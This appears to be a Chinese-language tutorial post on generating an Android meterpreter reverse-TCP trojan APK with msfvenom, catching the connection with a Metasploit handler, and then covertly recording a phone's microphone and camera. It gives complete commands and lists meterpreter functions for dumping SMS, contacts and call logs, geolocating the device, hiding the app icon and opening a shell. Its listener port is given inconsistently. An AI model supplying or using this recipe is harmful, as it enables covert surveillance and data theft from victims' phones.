|>>>中華人民共和國網絡安全法<<<|警告:請勿用於非法用途,后果自負!
0.環境
- 虛擬機 KaliLinux
- 手機 Redmi 6A
- 同一局域網下
1.查看控制端IP
ifconfig
即192.168.xx.xxx
2.生成木馬程序
>>>msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.xx.xxx lport=9999 R>/home/hugboy/桌面/Share/hugboyMsf.apk
-設置監聽端主機lhost=192.168.xx.xxx
-設置監聽端主機端口lhost=5555
-保存到指定目錄R>/home/hugboy/桌面/hugboyMsf.apk
自動生成了一個10179 bytes 大小的程序
3.把hugboyMsf.apk安裝到目標手機並運行
1).如何讓虛擬機與主機數據分享,進而發送到手機上安裝?
安裝VMtools直接拖到本地桌面
Apt update
Apt install open-vm-tools-desktop fuse
Reboot
重啟生效
2).發送到手機安裝,忽略警告,點擊繼續。。。
4.打開metasploit工具
5.設置payload
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.xx.xxx
set LPORT 5555
exploit
6.顯示meterpreter>說明連接成功
常用命令
+麥克風
-record_mic 從麥克風huhugb錄制音頻X秒
-h 幫助
-d 記錄秒數
-F 音頻保存路徑,默認 HOME/xxxx.wav
-p 自動播放捕獲的音頻
+webcam_list 列出手機攝像頭個數
+webcam_snap 從指定攝像頭拍攝照片
-h 幫助
-I 選擇要使用的攝像頭
-p 圖片路徑,默認HOME/xxxx.jpeg
-q 圖片質量,默認為50
-v 自動查看圖片
+webcam_chat 開始視頻聊天
+webcam_stream 從攝像拍攝視頻
演示
列出設備的攝像頭
webcma_list
選擇第一個攝像頭(后置攝像頭)拍照
webcam_snap -i 1
全部命令
help
Stdapi: File system Commands
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
localtime Displays the target system's local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
Command Description
------- -----------
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Android Commands
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
Application Controller Commands
Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application